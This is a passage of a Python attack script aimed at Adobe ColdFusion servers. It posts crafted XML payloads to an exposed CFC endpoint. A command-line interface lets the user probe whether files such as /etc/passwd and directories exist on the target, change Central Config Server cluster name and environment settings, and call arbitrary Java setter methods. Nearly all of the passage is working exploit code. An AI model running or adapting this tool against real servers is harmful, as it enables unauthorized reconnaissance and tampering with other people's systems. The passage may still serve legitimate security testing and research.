    log(LogLevel.DEBUG, '[#] Sending HTTP POST request with the following XML payload:')
    log(LogLevel.DEBUG, payload)
    try:
        r = requests.post(URL, data={
            'argumentCollection': payload
        }, headers={
            'Content-Type': 'application/x-www-form-urlencoded'
        })
        log(LogLevel.DEBUG, f'[#] Retrieved HTTP status code {r.status_code}')
        return r.status_code
    except requests.exceptions.ConnectionError:
        log(LogLevel.MINIMAL, '[-] Failed to connect to target ColdFusion server!')
        sys.exit(ExitStatus.CONNECTION_FAILED.value)

# Handle the execute command
def execute(classpath, method, argument, type):
    log(LogLevel.NORMAL, f'[#]')
    log(LogLevel.NORMAL, f'[!] Execute restrictions:')
    log(LogLevel.NORMAL, f'[!] * Class')
    log(LogLevel.NORMAL, f'[!]   * Public constructor')
    log(LogLevel.NORMAL, f'[!]   * No constructor arguments')
    log(LogLevel.NORMAL, f'[!] * Function')
    log(LogLevel.NORMAL, f'[!]   * Name begins with "set"')
    log(LogLevel.NORMAL, f'[!]   * Public')
    log(LogLevel.NORMAL, f'[!]   * Not static')
    log(LogLevel.NORMAL, f'[!]   * One argument')
    log(LogLevel.NORMAL, f'[#]')
    code = request(classpath, method, argument, type)
    if VERBOSITY == LogLevel.MINIMAL:
        log(LogLevel.MINIMAL, f'{code}')
    log(LogLevel.NORMAL, f'[#] HTTP Code: {code}')
    sys.exit(ExitStatus.SUCCESS.value if code == 500 else code)

# Handle the directory existence command
def directoryExists(path):
    code = request('coldfusion.tagext.io.cache.CacheTag', 'setDirectory', path)
    result(code, {
        'minimal': 'valid',
        'normal': '[+] Directory exists',
        'status': ExitStatus.SUCCESS,
    }, {
        'minimal': 'invalid',
        'normal': '[-] Directory does not exist',
        'status': ExitStatus.DIRECTORY_NOT_FOUND,
    })

# Handle the file existence command
def fileExists(path):
    code = request('coldfusion.tagext.net.LdapTag', 'setClientCert', path)
    result(code, {
        'minimal': 'valid',
        'normal': '[+] File exists',
        'status': ExitStatus.SUCCESS,
    }, {
        'minimal': 'invalid',
        'normal': '[-] File does not exist',
        'status': ExitStatus.FILE_NOT_FOUND,
    })

# Set CCS Cluster Name
def setCCsClusterName(name):
    code = request('coldfusion.centralconfig.client.CentralConfigClientUtil', 'setClusterName', name)
    result(code, {
        'minimal': 'success',
        'normal': '[+] Set CCS cluster name',
        'status': ExitStatus.SUCCESS,
    }, {
        'minimal': 'failed',
        'normal': '[-] Failed to set CCS cluster name',
        'status': ExitStatus.FAIL_SET_CCS_CLUSTER_NAME,
    })

# Set CCS Environment
def setCcsEnv(env):
    code = request('coldfusion.centralconfig.client.CentralConfigClientUtil', 'setEnv', env)
    result(code, {
        'minimal': 'success',
        'normal': '[+] Set CCS environment',
        'status': ExitStatus.SUCCESS,
    }, {
        'minimal': 'failed',
        'normal': '[-] Failed to set CCS environment',
        'status': ExitStatus.FAIL_SET_CCS_ENV,
    })

def main(args):
    global URL, VERBOSITY

    # Build URL
    URL = f'{args.protocol}://{args.host}:{args.port}{args.cfc}'

    # Set verbosity
    if args.verbosity == 'none':
        VERBOSITY = LogLevel.NONE
    elif args.verbosity == 'minimal':
        VERBOSITY = LogLevel.MINIMAL
    elif args.verbosity == 'normal':
        VERBOSITY = LogLevel.NORMAL
    elif args.verbosity == 'debug':
        VERBOSITY = LogLevel.DEBUG

    log(LogLevel.NORMAL, f'[#] Target: {URL}')

    # Execute
    if args.command == 'execute':
        return execute(args.classpath, args.method, args.argument, args.type)

    # Directory Existence
    if args.command == 'directory-exist':
        return directoryExists(args.path)

    # File Existence
    if args.command == 'file-exist':
        return fileExists(args.path)

    # Set CCS Cluster Name
    if args.command == 'ccs-cluster-name':
        return setCCsClusterName(args.name)

    # Set CCS Environment
    if args.command == 'ccs-env':
        return setCcsEnv(args.env)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='')
    parser.add_argument('host', help='The target server domain or IP address')
    parser.add_argument('-p', '--port', type=int, default=8500, help='The target web server port number (Default: 8500)')
    parser.add_argument('-pr', '--protocol', choices=['https', 'http'], default='http', help='The target web server protocol (Default: http)')
    parser.add_argument('-c', '--cfc', default='/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true', help='The target CFC path (Default: /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true)')
    parser.add_argument('-v', '--verbosity', choices=['none', 'minimal', 'normal', 'debug'], default='normal', help='The level of output (Default: normal)')
    subparsers = parser.add_subparsers(required=True, help='Command', dest='command')

    # Execute
    parserE = subparsers.add_parser('execute', help='Execute a specific class function')
    parserE.add_argument('classpath', help='The target full class path (Example: coldfusion.centralconfig.client.CentralConfigClientUtil)')
    parserE.add_argument('method', help='The set function to execute (Example: setEnv)')
    parserE.add_argument('argument', help='The function argument to pass (Example: development)')
    parserE.add_argument('-t', '--type', default='string', help='The function argument type (Default: string)')

    # Directory Enumeration
    parserD = subparsers.add_parser('directory-exist', help='Check if a directory exists on the target server')
    parserD.add_argument('path', help='The absolute directory path (Examples: /tmp, C:/)')

    # File Enumeration
    parserF = subparsers.add_parser('file-exist', help='Check if a file exists on the target server')
    parserF.add_argument('path', help='The absolute file path (Examples: /etc/passwd, C:/Windows/win.ini)')

    # Set CCS Server Cluster Name
    parserN = subparsers.add_parser('ccs-cluster-name', help='Set the Central Config Server cluster name')
    parserN.add_argument('name', help='The absolute directory path (Example: _CF_DEFAULT)')

    # Set CCS Server Env
    parserE = subparsers.add_parser('ccs-env', help='Set the Central Config Server environment')
    parserE.add_argument('env', help='The absolute directory path (Example: development)')

    main(parser.parse_args())